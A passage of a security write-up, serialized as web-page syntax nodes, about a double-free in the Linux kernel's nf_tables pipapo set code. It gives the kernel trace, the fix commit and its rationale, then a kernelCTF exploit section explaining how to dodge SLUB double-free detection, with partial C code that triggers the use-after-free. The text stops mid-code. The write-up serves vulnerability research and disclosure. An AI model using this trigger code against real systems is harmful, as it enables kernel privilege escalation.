05\n",{"type":24,"tag":158,"props":55178,"children":55179},{"class":160,"line":700},[55180],{"type":24,"tag":158,"props":55181,"children":55182},{},[55183],{"type":29,"value":1136},{"type":24,"tag":158,"props":55185,"children":55186},{"class":160,"line":785},[55187],{"type":24,"tag":158,"props":55188,"children":55189},{},[55190],{"type":29,"value":55191},"[16302.231917] Call Trace:\n",{"type":24,"tag":158,"props":55193,"children":55194},{"class":160,"line":1447},[55195],{"type":24,"tag":158,"props":55196,"children":55197},{},[55198],{"type":29,"value":55199},"[16302.231919] \u003CTASK>\n",{"type":24,"tag":158,"props":55201,"children":55202},{"class":160,"line":1509},[55203],{"type":24,"tag":158,"props":55204,"children":55205},{},[55206],{"type":29,"value":55207},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":24,"tag":158,"props":55209,"children":55210},{"class":160,"line":1527},[55211],{"type":24,"tag":158,"props":55212,"children":55213},{},[55214],{"type":29,"value":55215},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":24,"tag":158,"props":55217,"children":55218},{"class":160,"line":1545},[55219],{"type":24,"tag":158,"props":55220,"children":55221},{},[55222],{"type":29,"value":55223},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":24,"tag":158,"props":55225,"children":55226},{"class":160,"line":1618},[55227],{"type":24,"tag":158,"props":55228,"children":55229},{},[55230],{"type":29,"value":55231},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":24,"tag":158,"props":55233,"children":55234},{"class":160,"line":1635},[55235],{"type":24,"tag":158,"props":55236,"children":55237},{},[55238],{"type":29,"value":55239},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":24,"tag":158,"props":55241,"children":55242},{"class":160,"line":1644},[55243],{"type":24,"tag":158,"props":55244,"children":55245},{},[55246],{"type":29,"value":55247},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":24,"tag":158,"props":55249,"children":55250},{"class":160,"line":1652},[55251],{"type":24,"tag":158,"props":55252,"children":55253},{},[55254],{"type":29,"value":55255},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":24,"tag":158,"props":55257,"children":55258},{"class":160,"line":1704},[55259],{"type":24,"tag":158,"props":55260,"children":55261},{"emptyLinePlaceholder":16},[55262],{"type":29,"value":481},{"type":24,"tag":158,"props":55264,"children":55265},{"class":160,"line":1713},[55266],{"type":24,"tag":158,"props":55267,"children":55268},{},[55269],{"type":29,"value":55270},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":24,"tag":158,"props":55272,"children":55273},{"class":160,"line":1731},[55274],{"type":24,"tag":158,"props":55275,"children":55276},{},[55277],{"type":29,"value":55278},"elements in the lookup tables.\n",{"type":24,"tag":158,"props":55280,"children":55281},{"class":160,"line":5485},[55282],{"type":24,"tag":158,"props":55283,"children":55284},{"emptyLinePlaceholder":16},[55285],{"type":29,"value":481},{"type":24,"tag":158,"props":55287,"children":55288},{"class":160,"line":5493},[55289],{"type":24,"tag":158,"props":55290,"children":55291},{},[55292],{"type":29,"value":55293},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":24,"tag":158,"props":55295,"children":55296},{"class":160,"line":5553},[55297],{"type":24,"tag":158,"props":55298,"children":55299},{},[55300],{"type":29,"value":55301},"cloned matching data if priv->dirty is set, because that means that\n",{"type":24,"tag":158,"props":55303,"children":55304},{"class":160,"line":10636},[55305],{"type":24,"tag":158,"props":55306,"children":55307},{},[55308],{"type":29,"value":55309},"cloned data might point to additional elements we did not commit to the\n",{"type":24,"tag":158,"props":55311,"children":55312},{"class":160,"line":10652},[55313],{"type":24,"tag":158,"props":55314,"children":55315},{},[55316],{"type":29,"value":55317},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":24,"tag":158,"props":55319,"children":55320},{"class":160,"line":10696},[55321],{"type":24,"tag":158,"props":55322,"children":55323},{},[55324],{"type":29,"value":55325},"to it).\"\n",{"type":24,"tag":158,"props":55327,"children":55328},{"class":160,"line":10801},[55329],{"type":24,"tag":158,"props":55330,"children":55331},{"emptyLinePlaceholder":16},[55332],{"type":29,"value":481},{"type":24,"tag":158,"props":55334,"children":55335},{"class":160,"line":24754},[55336],{"type":24,"tag":158,"props":55337,"children":55338},{},[55339],{"type":29,"value":55340},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":24,"tag":158,"props":55342,"children":55343},{"class":160,"line":24789},[55344],{"type":24,"tag":158,"props":55345,"children":55346},{},[55347],{"type":29,"value":55348},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":24,"tag":158,"props":55350,"children":55351},{"class":160,"line":24797},[55352],{"type":24,"tag":158,"props":55353,"children":55354},{},[55355],{"type":29,"value":55356},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":24,"tag":25,"props":55358,"children":55359},{},[55360,55362,55367,55369,55374,55376,55381,55383,55388],{"type":29,"value":55361},"As we previously discussed, committing changes to a pipapo ",{"type":24,"tag":154,"props":55363,"children":55365},{"className":55364},[],[55366],{"type":29,"value":52291},{"type":29,"value":55368}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":24,"tag":154,"props":55370,"children":55372},{"className":55371},[],[55373],{"type":29,"value":53617},{"type":29,"value":55375}," method by simply replacing the ",{"type":24,"tag":154,"props":55377,"children":55379},{"className":55378},[],[55380],{"type":29,"value":52291},{"type":29,"value":55382},"s match object with its updated clone. So checking the ",{"type":24,"tag":154,"props":55384,"children":55386},{"className":55385},[],[55387],{"type":29,"value":52245},{"type":29,"value":55389}," flag and then calling free again ensures we also free uncommitted changes.",{"type":24,"tag":25,"props":55391,"children":55392},{},[55393,55395,55400],{"type":29,"value":55394},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":24,"tag":154,"props":55396,"children":55398},{"className":55397},[],[55399],{"type":29,"value":52291},{"type":29,"value":55401},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":24,"tag":25,"props":55403,"children":55404},{},[55405,55407,55413,55415,55420,55422,55427],{"type":29,"value":55406},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":24,"tag":154,"props":55408,"children":55410},{"className":55409},[],[55411],{"type":29,"value":55412},"set->ops->destroy()",{"type":29,"value":55414}," could be called without clearing the ",{"type":24,"tag":154,"props":55416,"children":55418},{"className":55417},[],[55419],{"type":29,"value":52245},{"type":29,"value":55421}," flag, which was fine considering you didn't have duplicated views of the ",{"type":24,"tag":154,"props":55423,"children":55425},{"className":55424},[],[55426],{"type":29,"value":52283},{"type":29,"value":55428},"s, so they would all be in the clone set.",{"type":24,"tag":25,"props":55430,"children":55431},{},[55432,55434,55439],{"type":29,"value":55433},"But when the ",{"type":24,"tag":154,"props":55435,"children":55437},{"className":55436},[],[55438],{"type":29,"value":55001},{"type":29,"value":55440}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":24,"tag":25,"props":55442,"children":55443},{},[55444],{"type":29,"value":55445},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":24,"tag":59,"props":55447,"children":55449},{"id":55448},"kernelctf-exploit",[55450],{"type":29,"value":55451},"KernelCTF exploit",{"type":24,"tag":25,"props":55453,"children":55454},{},[55455,55457,55463,55465,55472],{"type":29,"value":55456},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":24,"tag":154,"props":55458,"children":55460},{"className":55459},[],[55461],{"type":29,"value":55462},"nft_object + udata",{"type":29,"value":55464}," technique shared by lonial con in a ",{"type":24,"tag":101,"props":55466,"children":55469},{"href":55467,"rel":55468},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[105],[55470],{"type":29,"value":55471},"previous kernelCTF exploit",{"type":29,"value":347},{"type":24,"tag":395,"props":55474,"children":55476},{"id":55475},"trigger-uafavoid-double-free-detection",[55477],{"type":29,"value":55478},"Trigger UAF/avoid double-free detection",{"type":24,"tag":25,"props":55480,"children":55481},{},[55482,55484,55490,55492,55498],{"type":29,"value":55483},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":24,"tag":154,"props":55485,"children":55487},{"className":55486},[],[55488],{"type":29,"value":55489},"nft_set_pipapo_match_destroy",{"type":29,"value":55491}," iterates over the ",{"type":24,"tag":154,"props":55493,"children":55495},{"className":55494},[],[55496],{"type":29,"value":55497},"setelems",{"type":29,"value":55499}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":24,"tag":1786,"props":55501,"children":55502},{},[55503,55508,55513,55518],{"type":24,"tag":1790,"props":55504,"children":55505},{},[55506],{"type":29,"value":55507},"Element A gets freed",{"type":24,"tag":1790,"props":55509,"children":55510},{},[55511],{"type":29,"value":55512},"Element B gets free",{"type":24,"tag":1790,"props":55514,"children":55515},{},[55516],{"type":29,"value":55517},"Element A gets freed again (double-free)",{"type":24,"tag":1790,"props":55519,"children":55520},{},[55521],{"type":29,"value":55522},"Element B gets freed again (double-free)",{"type":24,"tag":147,"props":55524,"children":55526},{"className":30369,"code":55525,"language":30371,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[55527],{"type":24,"tag":154,"props":55528,"children":55529},{"__ignoreMap":7},[55530,55537,55598,55605,55612,55620,55627,55634,55642,55666,55687,55721,55782,55789,55797,55849,55856,55882,55909,55948,55977,56006,56028,56035,56042,56049,56057,56064,56072,56085,56098,56118,56125,56133,56155,56187,56232,56268,56296,56303,56310,56318,56325,56341,56348],{"type":24,"tag":158,"props":55531,"children":55532},{"class":160,"line":161},[55533],{"type":24,"tag":158,"props":55534,"children":55535},{"style":188},[55536],{"type":29,"value":1136},{"type":24,"tag":158,"props":55538,"children":55539},{"class":160,"line":213},[55540,55545,55549,55554,55558,55563,55567,55572,55577,55581,55585,55589,55594],{"type":24,"tag":158,"props":55541,"children":55542},{"style":188},[55543],{"type":29,"value":55544},"static void trigger_uaf(",{"type":24,"tag":158,"props":55546,"children":55547},{"style":165},[55548],{"type":29,"value":168},{"type":24,"tag":158,"props":55550,"children":55551},{"style":171},[55552],{"type":29,"value":55553}," mnl_socket",{"type":24,"tag":158,"props":55555,"children":55556},{"style":165},[55557],{"type":29,"value":615},{"type":24,"tag":158,"props":55559,"children":55560},{"style":177},[55561],{"type":29,"value":55562},"nl",{"type":24,"tag":158,"props":55564,"children":55565},{"style":188},[55566],{"type":29,"value":191},{"type":24,"tag":158,"props":55568,"children":55569},{"style":165},[55570],{"type":29,"value":55571},"size_t",{"type":24,"tag":158,"props":55573,"children":55574},{"style":177},[55575],{"type":29,"value":55576}," size",{"type":24,"tag":158,"props":55578,"children":55579},{"style":188},[55580],{"type":29,"value":191},{"type":24,"tag":158,"props":55582,"children":55583},{"style":165},[55584],{"type":29,"value":20289},{"type":24,"tag":158,"props":55586,"children":55587},{"style":165},[55588],{"type":29,"value":615},{"type":24,"tag":158,"props":55590,"children":55591},{"style":177},[55592],{"type":29,"value":55593},"msgqids",{"type":24,"tag":158,"props":55595,"children":55596},{"style":188},[55597],{"type":29,"value":2125},{"type":24,"tag":158,"props":55599,"children":55600},{"class":160,"line":238},[55601],{"type":24,"tag":158,"props":55602,"children":55603},{"style":188},[55604],{"type":29,"value":1710},{"type":24,"tag":158,"props":55606,"children":55607},{"class":160,"line":259},[55608],{"type":24,"tag":158,"props":55609,"children":55610},{"style":188},[55611],{"type":29,"value":1136},{"type":24,"tag":158,"props":55613,"children":55614},{"class":160,"line":280},[55615],{"type":24,"tag":158,"props":55616,"children":55617},{"style":188},[55618],{"type":29,"value":55619}," // TRANSACTION 2\n",{"type":24,"tag":158,"props":55621,"children":55622},{"class":160,"line":301},[55623],{"type":24,"tag":158,"props":55624,"children":55625},{"style":188},[55626],{"type":29,"value":1136},{"type":24,"tag":158,"props":55628,"children":55629},{"class":160,"line":626},[55630],{"type":24,"tag":158,"props":55631,"children":55632},{"emptyLinePlaceholder":16},[55633],{"type":29,"value":481},{"type":24,"tag":158,"props":55635,"children":55636},{"class":160,"line":668},[55637],{"type":24,"tag":158,"props":55638,"children":55639},{"style":188},[55640],{"type":29,"value":55641}," // create pipapo set\n",{"type":24,"tag":158,"props":55643,"children":55644},{"class":160,"line":676},[55645,55650,55654,55658,55662],{"type":24,"tag":158,"props":55646,"children":55647},{"style":188},[55648],{"type":29,"value":55649}," uint8_t desc[2] = {",{"type":24,"tag":158,"props":55651,"children":55652},{"style":465},[55653],{"type":29,"value":42112},{"type":24,"tag":158,"props":55655,"children":55656},{"style":188},[55657],{"type":29,"value":191},{"type":24,"tag":158,"props":55659,"children":55660},{"style":465},[55661],{"type":29,"value":42112},{"type":24,"tag":158,"props":55663,"children":55664},{"style":188},[55665],{"type":29,"value":17814},{"type":24,"tag":158,"props":55667,"children":55668},{"class":160,"line":684},[55669,55674,55678,55683],{"type":24,"tag":158,"props":55670,"children":55671},{"style":188},[55672],{"type":29,"value":55673}," set ",{"type":24,"tag":158,"props":55675,"children":55676},{"style":222},[55677],{"type":29,"value":1285},{"type":24,"tag":158,"props":55679,"children":55680},{"style":496},[55681],{"type":29,"value":55682}," create_set",{"type":24,"tag":158,"props":55684,"children":55685},{"style":188},[55686],{"type":29,"value":2156},{"type":24,"tag":158,"props":55688,"children":55689},{"class":160,"line":700},[55690,55695,55699,55704,55709,55713,55717],{"type":24,"tag":158,"props":55691,"children":55692},{"style":188},[55693],{"type":29,"value":55694}," batch, seq",{"type":24,"tag":158,"props":55696,"children":55697},{"style":222},[55698],{"type":29,"value":52541},{"type":24,"tag":158,"props":55700,"children":55701},{"style":188},[55702],{"type":29,"value":55703},", exploit_table_name, ",{"type":24,"tag":158,"props":55705,"children":55706},{"style":1108},[55707],{"type":29,"value":55708},"\"pwn_set\"",{"type":24,"tag":158,"props":55710,"children":55711},{"style":188},[55712],{"type":29,"value":191},{"type":24,"tag":158,"props":55714,"children":55715},{"style":465},[55716],{"type":29,"value":44769},{"type":24,"tag":158,"props":55718,"children":55719},{"style":188},[55720],{"type":29,"value":235},{"type":24,"tag":158,"props":55722,"children":55723},{"class":160,"line":785},[55724,55729,55733,55738,55742,55747,55751,55755,55759,55764,55769,55773,55777],{"type":24,"tag":158,"props":55725,"children":55726},{"style":188},[55727],{"type":29,"value":55728}," NFT_SET_INTERVAL ",{"type":24,"tag":158,"props":55730,"children":55731},{"style":222},[55732],{"type":29,"value":1234},{"type":24,"tag":158,"props":55734,"children":55735},{"style":188},[55736],{"type":29,"value":55737}," NFT_SET_OBJECT ",{"type":24,"tag":158,"props":55739,"children":55740},{"style":222},[55741],{"type":29,"value":1234},{"type":24,"tag":158,"props":55743,"children":55744},{"style":188},[55745],{"type":29,"value":55746}," NFT_SET_CONCAT, KEY_LEN, ",{"type":24,"tag":158,"props":55748,"children":55749},{"style":465},[55750],{"type":29,"value":4789},{"type":24,"tag":158,"props":55752,"children":55753},{"style":188},[55754],{"type":29,"value":191},{"type":24,"tag":158,"props":55756,"children":55757},{"style":222},[55758],{"type":29,"value":2212},{"type":24,"tag":158,"props":55760,"children":55761},{"style":188},[55762],{"type":29,"value":55763},"desc, ",{"type":24,"tag":158,"props":55765,"children":55766},{"style":165},[55767],{"type":29,"value":55768},"NULL",{"type":24,"tag":158,"props":55770,"children":55771},{"style":188},[55772],{"type":29,"value":191},{"type":24,"tag":158,"props":55774,"children":55775},{"style":465},[55776],{"type":29,"value":5682},{"type":24,"tag":158,"props":55778,"children":55779},{"style":188},[55780],{"type":29,"value":55781},", NFT_OBJECT_CT_EXPECT);\n",{"type":24,"tag":158,"props":55783,"children":55784},{"class":160,"line":1447},[55785],{"type":24,"tag":158,"props":55786,"children":55787},{"emptyLinePlaceholder":16},[55788],{"type":29,"value":481},{"type":24,"tag":158,"props":55790,"children":55791},{"class":160,"line":1509},[55792],{"type":24,"tag":158,"props":55793,"children":55794},{"style":2588},[55795],{"type":29,"value":55796}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":24,"tag":158,"props":55798,"children":55799},{"class":160,"line":1527},[55800,55804,55808,55812,55817,55821,55825,55829,55833,55837,55841,55845],{"type":24,"tag":158,"props":55801,"children":55802},{"style":1914},[55803],{"type":29,"value":4702},{"type":24,"tag":158,"props":55805,"children":55806},{"style":188},[55807],{"type":29,"value":2262},{"type":24,"tag":158,"props":55809,"children":55810},{"style":165},[55811],{"type":29,"value":20289},{"type":24,"tag":158,"props":55813,"children":55814},{"style":188},[55815],{"type":29,"value":55816}," i ",{"type":24,"tag":158,"props":55818,"children":55819},{"style":222},[55820],{"type":29,"value":1285},{"type":24,"tag":158,"props":55822,"children":55823},{"style":465},[55824],{"type":29,"value":2025},{"type":24,"tag":158,"props":55826,"children":55827},{"style":188},[55828],{"type":29,"value":52505},{"type":24,"tag":158,"props":55830,"children":55831},{"style":222},[55832],{"type":29,"value":3760},{"type":24,"tag":158,"props":55834,"children":55835},{"style":465},[55836],{"type":29,"value":9573},{"type":24,"tag":158,"props":55838,"children":55839},{"style":188},[55840],{"type":29,"value":52536},{"type":24,"tag":158,"props":55842,"children":55843},{"style":222},[55844],{"type":29,"value":52541},{"type":24,"tag":158,"props":55846,"children":55847},{"style":188},[55848],{"type":29,"value":2125},{"type":24,"tag":158,"props":55850,"children":55851},{"class":160,"line":1545},[55852],{"type":24,"tag":158,"props":55853,"children":55854},{"style":188},[55855],{"type":29,"value":30446},{"type":24,"tag":158,"props":55857,"children":55858},{"class":160,"line":1618},[55859,55864,55869,55873,55878],{"type":24,"tag":158,"props":55860,"children":55861},{"style":177},[55862],{"type":29,"value":55863}," elem",{"type":24,"tag":158,"props":55865,"children":55866},{"style":188},[55867],{"type":29,"value":55868},"[i] ",{"type":24,"tag":158,"props":55870,"children":55871},{"style":222},[55872],{"type":29,"value":1285},{"type":24,"tag":158,"props":55874,"children":55875},{"style":496},[55876],{"type":29,"value":55877}," nftnl_set_elem_alloc",{"type":24,"tag":158,"props":55879,"children":55880},{"style":188},[55881],{"type":29,"value":5329},{"type":24,"tag":158,"props":55883,"children":55884},{"class":160,"line":1635},[55885,55890,55895,55900,55904],{"type":24,"tag":158,"props":55886,"children":55887},{"style":496},[55888],{"type":29,"value":55889}," memset",{"type":24,"tag":158,"props":55891,"children":55892},{"style":188},[55893],{"type":29,"value":55894},"(key, ",{"type":24,"tag":158,"props":55896,"children":55897},{"style":465},[55898],{"type":29,"value":55899},"0x41",{"type":24,"tag":158,"props":55901,"children":55902},{"style":222},[55903],{"type":29,"value":2308},{"type":24,"tag":158,"props":55905,"children":55906},{"style":188},[55907],{"type":29,"value":55908}," i, KEY_LEN);\n",{"type":24,"tag":158,"props":55910,"children":55911},{"class":160,"line":1644},[55912,55917,55921,55925,55930,55935,55939,55944],{"type":24,"tag":158,"props":55913,"children":55914},{"style":496},[55915],{"type":29,"value":55916}," nftnl_set_elem_set",{"type":24,"tag":158,"props":55918,"children":55919},{"style":188},[55920],{"type":29,"value":504},{"type":24,"tag":158,"props":55922,"children":55923},{"style":177},[55924],{"type":29,"value":53336},{"type":24,"tag":158,"props":55926,"children":55927},{"style":188},[55928],{"type":29,"value":55929},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":158,"props":55931,"children":55932},{"style":1108},[55933],{"type":29,"value":55934},"\"pwnobj\"",{"type":24,"tag":158,"props":55936,"children":55937},{"style":188},[55938],{"type":29,"value":191},{"type":24,"tag":158,"props":55940,"children":55941},{"style":465},[55942],{"type":29,"value":55943},"7",{"type":24,"tag":158,"props":55945,"children":55946},{"style":188},[55947],{"type":29,"value":1071},{"type":24,"tag":158,"props":55949,"children":55950},{"class":160,"line":1652},[55951,55955,55959,55963,55968,55972],{"type":24,"tag":158,"props":55952,"children":55953},{"style":496},[55954],{"type":29,"value":55916},{"type":24,"tag":158,"props":55956,"children":55957},{"style":188},[55958],{"type":29,"value":504},{"type":24,"tag":158,"props":55960,"children":55961},{"style":177},[55962],{"type":29,"value":53336},{"type":24,"tag":158,"props":55964,"children":55965},{"style":188},[55966],{"type":29,"value":55967},"[i], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":158,"props":55969,"children":55970},{"style":222},[55971],{"type":29,"value":2212},{"type":24,"tag":158,"props":55973,"children":55974},{"style":188},[55975],{"type":29,"value":55976},"key, KEY_LEN);\n",{"type":24,"tag":158,"props":55978,"children":55979},{"class":160,"line":1704},[55980,55984,55988,55992,55997,56001],{"type":24,"tag":158,"props":55981,"children":55982},{"style":496},[55983],{"type":29,"value":55916},{"type":24,"tag":158,"props":55985,"children":55986},{"style":188},[55987],{"type":29,"value":504},{"type":24,"tag":158,"props":55989,"children":55990},{"style":177},[55991],{"type":29,"value":53336},{"type":24,"tag":158,"props":55993,"children":55994},{"style":188},[55995],{"type":29,"value":55996},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":24,"tag":158,"props":55998,"children":55999},{"style":222},[56000],{"type":29,"value":2212},{"type":24,"tag":158,"props":56002,"children":56003},{"style":188},[56004],{"type":29,"value":56005},"udata_buf, size);\n",{"type":24,"tag":158,"props":56007,"children":56008},{"class":160,"line":1713},[56009,56014,56019,56023],{"type":24,"tag":158,"props":56010,"children":56011},{"style":496},[56012],{"type":29,"value":56013}," nftnl_set_elem_add",{"type":24,"tag":158,"props":56015,"children":56016},{"style":188},[56017],{"type":29,"value":56018},"(set, ",{"type":24,"tag":158,"props":56020,"children":56021},{"style":177},[56022],{"type":29,"value":53336},{"type":24,"tag":158,"props":56024,"children":56025},{"style":188},[56026],{"type":29,"value":56027},"[i]);\n",{"type":24,"tag":158,"props":56029,"children":56030},{"class":160,"line":1731},[56031],{"type":24,"tag":158,"props":56032,"children":56033},{"style":188},[56034],{"type":29,"value":3967},{"type":24,"tag":158,"props":56036,"children":56037},{"class":160,"line":5485},[56038],{"type":24,"tag":158,"props":56039,"children":56040},{"style":188},[56041],{"type":29,"value":1136},{"type":24,"tag":158,"props":56043,"children":56044},{"class":160,"line":5493},[56045],{"type":24,"tag":158,"props":56046,"children":56047},{"emptyLinePlaceholder":16},[56048],{"type":29,"value":481},{"type":24,"tag":158,"props":56050,"children":56051},{"class":160,"line":5553},[56052],{"type":24,"tag":158,"props":56053,"children":56054},{"style":188},[56055],{"type":29,"value":56056}," // TRANSACTION 3\n",{"type":24,"tag":158,"props":56058,"children":56059},{"class":160,"line":10636},[56060],{"type":24,"tag":158,"props":56061,"children":56062},{"style":188},[56063],{"type":29,"value":1136},{"type":24,"tag":158,"props":56065,"children":56066},{"class":160,"line":10652},[56067],{"type":24,"tag":158,"props":56068,"children":56069},{"style":188},[56070],{"type":29,"value":56071}," set = nftnl_set_alloc();\n",{"type":24,"tag":158,"props":56073,"children":56074},{"class":160,"line":10696},[56075,56080],{"type":24,"tag":158,"props":56076,"children":56077},{"style":496},[56078],{"type":29,"value":56079}," nftnl_set_set_u32",{"type":24,"tag":158,"props":56081,"children":56082},{"style":188},[56083],{"type":29,"value":56084},"(set, NFTNL_SET_FAMILY, family);\n",{"type":24,"tag":158,"props":56086,"children":56087},{"class":160,"line":10801},[56088,56093],{"type":24,"tag":158,"props":56089,"children":56090},{"style":496},[56091],{"type":29,"value":56092}," nftnl_set_set_str",{"type":24,"tag":158,"props":56094,"children":56095},{"style":188},[56096],{"type":29,"value":56097},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":24,"tag":158,"props":56099,"children":56100},{"class":160,"line":24754},[56101,56105,56110,56114],{"type":24,"tag":158,"props":56102,"children":56103},{"style":496},[56104],{"type":29,"value":56092},{"type":24,"tag":158,"props":56106,"children":56107},{"style":188},[56108],{"type":29,"value":56109},"(set, NFTNL_SET_NAME, ",{"type":24,"tag":158,"props":56111,"children":56112},{"style":1108},[56113],{"type":29,"value":55708},{"type":24,"tag":158,"props":56115,"children":56116},{"style":188},[56117],{"type":29,"value":1071},{"type":24,"tag":158,"props":56119,"children":56120},{"class":160,"line":24789},[56121],{"type":24,"tag":158,"props":56122,"children":56123},{"emptyLinePlaceholder":16},[56124],{"type":29,"value":481},{"type":24,"tag":158,"props":56126,"children":56127},{"class":160,"line":24797},[56128],{"type":24,"tag":158,"props":56129,"children":56130},{"style":2588},[56131],{"type":29,"value":56132}," // make priv->dirty true\n",{"type":24,"tag":158,"props":56134,"children":56135},{"class":160,"line":24805},[56136,56141,56145,56150],{"type":24,"tag":158,"props":56137,"children":56138},{"style":496},[56139],{"type":29,"value":56140}," memset",{"type":24,"tag":158,"props":56142,"children":56143},{"style":188},[56144],{"type":29,"value":55894},{"type":24,"tag":158,"props":56146,"children":56147},{"style":465},[56148],{"type":29,"value":56149},"0xff",{"type":24,"tag":158,"props":56151,"children":56152},{"style":188},[56153],{"type":29,"value":56154},", KEY_LEN);\n",{"type":24,"tag":158,"props":56156,"children":56157},{"class":160,"line":24814},[56158,56163,56167,56171,56175,56179,56183],{"type":24,"tag":158,"props":56159,"children":56160},{"style":177},[56161],{"type":29,"value":56162}," elem",{"type":24,"tag":158,"props":56164,"children":56165},{"style":188},[56166],{"type":29,"value":2048},{"type":24,"tag":158,"props":56168,"children":56169},{"style":465},[56170],{"type":29,"value":18534},{"type":24,"tag":158,"props":56172,"children":56173},{"style":188},[56174],{"type":29,"value":2058},{"type":24,"tag":158,"props":56176,"children":56177},{"style":222},[56178],{"type":29,"value":1285},{"type":24,"tag":158,"props":56180,"children":56181},{"style":496},[56182],{"type":29,"value":55877},{"type":24,"tag":158,"props":56184,"children":56185},{"style":188},[56186],{"type":29,"value":5329},{"type":24,"tag":158,"props":56188,"children":56189},{"class":160,"line":24856},[56190,56195,56199,56203,56207,56211,56216,56220,56224,56228],{"type":24,"tag":158,"props":56191,"children":56192},{"style":496},[56193],{"type":29,"value":56194}," nftnl_set_elem_set",{"type":24,"tag":158,"props":56196,"children":56197},{"style":188},[56198],{"type":29,"value":504},{"type":24,"tag":158,"props":56200,"children":56201},{"style":177},[56202],{"type":29,"value":53336},{"type":24,"tag":158,"props":56204,"children":56205},{"style":188},[56206],{"type":29,"value":2048},{"type":24,"tag":158,"props":56208,"children":56209},{"style":465},[56210],{"type":29,"value":18534},{"type":24,"tag":158,"props":56212,"children":56213},{"style":188},[56214],{"type":29,"value":56215},"], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":158,"props":56217,"children":56218},{"style":1108},[56219],{"type":29,"value":55934},{"type":24,"tag":158,"props":56221,"children":56222},{"style":188},[56223],{"type":29,"value":191},{"type":24,"tag":158,"props":56225,"children":56226},{"style":465},[56227],{"type":29,"value":55943},{"type":24,"tag":158,"props":56229,"children":56230},{"style":188},[56231],{"type":29,"value":1071},{"type":24,"tag":158,"props":56233,"children":56234},{"class":160,"line":24889},[56235,56239,56243,56247,56251,56255,56260,56264],{"type":24,"tag":158,"props":56236,"children":56237},{"style":496},[56238],{"type":29,"value":56194},{"type":24,"tag":158,"props":56240,"children":56241},{"style":188},[56242],{"type":29,"value":504},{"type":24,"tag":158,"props":56244,"children":56245},{"style":177},[56246],{"type":29,"value":53336},{"type":24,"tag":158,"props":56248,"children":56249},{"style":188},[56250],{"type":29,"value":2048},{"type":24,"tag":158,"props":56252,"children":56253},{"style":465},[56254],{"type":29,"value":18534},{"type":24,"tag":158,"props":56256,"children":56257},{"style":188},[56258],{"type":29,"value":56259},"], NFTNL_SET_ELEM_KEY, 